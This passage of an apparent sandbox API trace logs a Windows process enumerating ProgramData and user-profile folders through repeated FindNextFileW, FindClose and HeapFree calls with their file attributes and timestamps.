ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0275.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.910] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0275.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.910] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S", cAlternateFileName="")) returned 1 [0275.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.911] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S", cAlternateFileName="")) returned 0 [0275.911] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0275.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.911] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0275.911] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0275.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.913] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0275.913] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.913] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Comms", cAlternateFileName="")) returned 1 [0275.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.914] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Desktop", cAlternateFileName="")) returned 1 [0275.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.914] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0275.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.914] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0275.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.915] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup", cAlternateFileName="")) returned 0 [0275.916] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0275.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.916] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0275.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.920] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0275.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.924] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0275.924] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0275.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.924] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0276.042] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.043] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0276.045] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.045] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0276.045] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0276.046] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.047] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0276.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.222] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0276.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.551] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0276.552] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0276.552] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.552] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0276.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0276.553] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0276.553] FindClose (in: hFindFile=0x6ebab0 | out: hFindFile=0x6ebab0) returned 1 [0276.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.553] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0276.554] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0276.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.554] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Packages", cAlternateFileName="")) returned 0 [0276.554] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0276.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.554] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0276.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.554] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0276.554] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0276.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.554] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0276.554] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0276.555] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.557] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0276.561] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.561] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0276.564] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.564] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0276.564] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0276.564] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.564] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0276.707] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.707] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0276.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.736] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0276.736] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0276.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.753] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0276.753] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0276.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.753] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UserData", cAlternateFileName="")) returned 1 [0276.838] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.839] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0276.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.842] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0276.842] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0276.843] HeapFree (in: hHeap=0x630000, 